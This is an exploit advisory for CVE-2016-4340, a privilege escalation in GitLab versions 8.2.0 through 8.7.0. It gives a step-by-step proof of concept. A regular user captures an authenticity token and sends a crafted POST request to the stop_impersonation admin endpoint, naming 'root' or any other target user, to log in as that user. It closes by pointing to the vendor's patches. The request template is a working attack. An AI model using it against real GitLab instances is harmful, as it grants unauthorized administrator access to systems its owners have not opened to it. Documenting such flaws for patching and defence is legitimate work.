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998 B
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35 lines
No EOL
998 B
Text
# Exploit Title: GitLab privilege escalation via "impersonate" feature
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# Date: 02-05-2016
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# Software Link: https://about.gitlab.com/
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# Version: 8.2.0 - 8.2.4, 8.3.0 - 8.3.8, 8.4.0 - 8.4.9, 8.5.0 - 8.5.11, 8.6.0 - 8.6.7, 8.7.0
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# Exploit Author: Kaimi
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# Website: https://kaimi.ru
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# CVE: CVE-2016-4340
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# Category: webapps
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1. Description
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Any registered user can "log in" as any other user, including administrators.
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https://about.gitlab.com/2016/05/02/cve-2016-4340-patches/
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2. Proof of Concept
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Login as regular user.
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Get current authenticity token by observing any POST-request (ex.: change any info in user profile).
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Craft request using this as template:
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POST /admin/users/stop_impersonation?id=root
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. . .
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_method=delete&authenticity_token=lqyOBt5U%2F0%2BPM2i%2BGDx3zaVjGgAqHzoteQ15FnrQ3E8%3D
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Where 'root' - desired user. 'authenticity_token' - token obtained on the previous step.
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3. Solution:
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Use officialy provided solutions:
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https://about.gitlab.com/2016/05/02/cve-2016-4340-patches/ |